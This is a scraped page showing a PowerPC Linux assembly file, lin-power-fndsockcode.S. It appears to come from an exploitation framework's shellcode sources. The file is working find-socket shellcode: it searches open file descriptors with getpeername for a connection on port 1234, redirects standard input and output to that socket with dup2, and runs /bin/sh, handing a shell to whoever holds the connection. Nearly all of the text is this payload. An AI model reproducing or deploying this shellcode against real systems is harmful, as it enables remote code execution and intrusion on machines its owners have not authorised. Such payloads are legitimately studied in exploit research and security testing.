Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-fndsockcode.S
Views: 11766
/*1* lin-power-fndsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#include "linux-power.h"2122.globl main2324main:2526fndsockcode:27xor %r31,%r31,%r3128lil %r29,__CAL2930# getpeername3132stu %r31,-4(%r1)33mr %r28,%r134cal %r27,-511+16(%r29)35stu %r27,-4(%r1)36mr %r26,%r13738stu %r26,-4(%r1)39stu %r28,-4(%r1)40stu %r31,-4(%r1)41420:43cal %r31,511(%r31)44cal %r31,-511+1(%r31)4546cal %r1,511(%r1)47cal %r1,-511+4(%r1)4849stu %r31,-4(%r1)50mr %r4,%r151cal %r3,__NC_getpeername(%r29)52cal %r0,__NC_socketcall(%r29)53.long 0x44ffff025455cal %r25,511(%r28)56lhz %r25,-511+2(%r25)5758cmpli 0,%r25,123459bne 0b6061cal %r24,-511+2(%r29)62631:64# dup26566mr %r4,%r2467mr %r3,%r3168cal %r0,__NC_dup2(%r29)69.long 0x44ffff027071ai. %r24,%r24,-172bge 1b7374shellcode:75# lil %r31,__CAL76xor. %r5,%r5,%r577bnel shellcode78mflr %r3079cal %r30,511(%r30)80cal %r3,-511+36(%r30)81stb %r5,-511+43(%r30)82stu %r5,-4(%r1)83stu %r3,-4(%r1)84mr %r4,%r185# cal %r0,__NC_execve(%r31)86cal %r0,__NC_execve(%r29)87.long 0x44ffff0288.asciz "/bin/sh"89909192